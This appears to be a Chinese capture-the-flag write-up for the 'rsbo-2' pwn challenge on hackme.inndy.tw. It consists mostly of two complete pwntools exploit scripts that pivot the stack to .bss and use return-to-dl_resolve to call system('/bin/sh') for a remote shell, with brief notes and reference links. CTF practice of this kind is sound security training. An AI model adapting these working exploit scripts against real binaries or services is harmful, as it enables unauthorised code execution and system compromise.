跟rsbo一样,只不过要getshell,这里重温了一下stack pivoting 和 return to dl_resolve
用的之前0ctf写的脚本改了一下就能打了
exp1:
# -*- coding:utf-8 -*-
from pwn import *
#context.log_level = 'debug'
#p = process('./rsbo-2')
p = remote('hackme.inndy.tw',7706)
elf = ELF('./rsbo-2')
#需要修改的地方
#--------------------------------------------#
read_plt = elf.plt['read']
alarm_plt = elf.plt['alarm']
pop_ebp_ret = 0x0804879f
ppp_ret = 0x0804879d
pp_ebp_ret = 0x0804879e
leave_ret = 0x080484f8
bss_addr = 0x0804a020 + 0x100
stack_size = 0x800
base_stage = bss_addr + stack_size
plt_0 = 0x80483d0 # objdump -d -j .plt rsbo-2
rel_plt = 0x8048354 # objdump -s -j .rel.plt rsbo-2
dynsym = 0x080481cc #readelf -S rsbo-2
dynstr = 0x0804829c #readelf -S rsbo-2
alarm_got = elf.got['alarm']
#--------------------------------------------#
index_offset = (base_stage + 28) - rel_plt
print "alarm_got: ",hex(alarm_got)
print "alarm_plt: ",hex(alarm_plt)
print "read_plt: ",hex(read_plt)
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = index_dynsym << 8 | 0x7
fake_reloc = p32(alarm_got) + p32(r_info)
st_name = fake_sym_addr + 0x10 - dynstr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
payload = '\x00'*104 + p32(bss_addr)
payload += p32(read_plt) + p32(leave_ret) + p32(0) + p32(bss_addr) + p32(36)
#gdb.attach(p)
p.send(payload)
sleep(1)
# raw_input("go:")
#fake stack 1 bss_addr
payload1 = 'aaaa' #pop ebp
payload1 += p32(read_plt) + p32(ppp_ret) + p32(0) + p32(base_stage) + p32(100)
payload1 += p32(pop_ebp_ret) + p32(base_stage) #fake stack again
payload1 += p32(leave_ret) #leave: mov esp,ebp; pop ebp
p.send(payload1)
sleep(1)
#raw_input("go:")
cmd = "/bin/sh"
#fake stack 2 base_stage
payload2 = 'bbbb'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'aaaa'
payload2 += p32(base_stage + 80)
payload2 += 'aaaa'
payload2 += 'aaaa'
payload2 += fake_reloc #base_stage+28
payload2 += 'b' * align
payload2 += fake_sym #base_stage+36
payload2 += "system\x00"
payload2 += 'a' * (80 - len(payload2))
payload2 += cmd +'\x00'
payload2 += 'a' * (100 - len(payload2))
#print len(payload2)
p.send(payload2)
p.interactive()
这里还用了roputils这个工具试了下,很方便,但是写入的bss段地址会有玄学问题,比如bss_base = rop.section('.bss') + 0x300 就不能getshell
exp2:
from pwn import *
from roputils import *
context.log_level = 'debug'
#p = process('./rsbo-2')
#p = process('./rsbo-2',env = {"LD_PRELOAD":"../libc-2.23.so.i386"})
p = remote('hackme.inndy.tw',7706)
rop = ROP('./rsbo-2')
write_plt = rop.plt('write')
open_plt = rop.plt('open')
read_plt = rop.plt('read')
flag_addr = 0x080487D0
bss_base = rop.section('.bss') + 0x400
bss = bss_base + 0x800
leave_ret = 0x080484f8
pop3_ret = 0x0804879d
offset = 108
payload = '\x00'*104 + p32(bss_base)
payload += p32(read_plt) + p32(leave_ret)
payload += p32(0) + p32(bss_base) + p32(100)
#gdb.attach(p)
p.send(payload)
time.sleep(1)
#raw_input("go:")
payload = 'aaaa'
payload += rop.call('read',0,bss,100)
## used to call dl_Resolve()
payload += rop.dl_resolve_call(bss + 20,bss)
#payload += rop.fill(100,payload)
p.sendline(payload)
time.sleep(1)
#raw_input("go:")
payload = rop.string('/bin/sh')
payload += rop.fill(20,payload)
## used to make faking data, such relocation, Symbol, Str
payload += rop.dl_resolve_data(bss + 20, 'system')
payload += rop.fill(100,payload)
p.send(payload)
p.interactive()
有关ret2_dl_runtime_resolve可以看:
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced_rop/#ret2_dl_runtime_resolve
http://pwn4.fun/2016/11/09/Return-to-dl-resolve/
网友评论